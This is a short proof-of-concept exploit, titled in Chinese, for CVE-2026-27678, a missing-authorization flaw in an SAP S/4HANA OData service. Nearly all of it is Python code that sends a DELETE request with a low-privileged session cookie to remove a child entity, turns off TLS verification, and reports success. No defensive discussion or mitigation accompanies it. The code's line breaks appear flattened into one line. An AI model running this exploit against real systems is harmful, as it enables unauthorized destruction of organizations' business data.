CVE-2026-27678 SAP S/4HANA OData服务权限绕过漏洞

import requests # Target OData Service Endpoint for Manage Reference Structures # Replace <target_host> with the actual hostname target_url = "https://<target_host>/sap/opu/odata/sap/API_MANAGE_REF_STRUCTURES/ChildEntitySet('<entity_id>')" # Headers often required for SAP OData interaction # x-csrf-token is usually fetched first, but for simplicity, we assume a scenario where it might be bypassed or obtained headers = { "Accept": "application/json", "Content-Type": "application/json", "x-csrf-token": "<valid_csrf_token_or_skip>" } # Low-privileged user session cookie cookies = { "sap-usercontext": "sap-client=100", "MYSAPSSO2": "<valid_low_priv_cookie>" } # Vulnerability: Missing Authorization Check # Attempting to DELETE a child entity without proper authorization response = requests.delete(target_url, headers=headers, cookies=cookies, verify=False) if response.status_code == 204 or response.status_code == 200: print("[+] PoC Successful: Child entity deleted via unauthorized access.") else: print(f"[-] PoC Failed: Status Code {response.status_code}") print(response.text)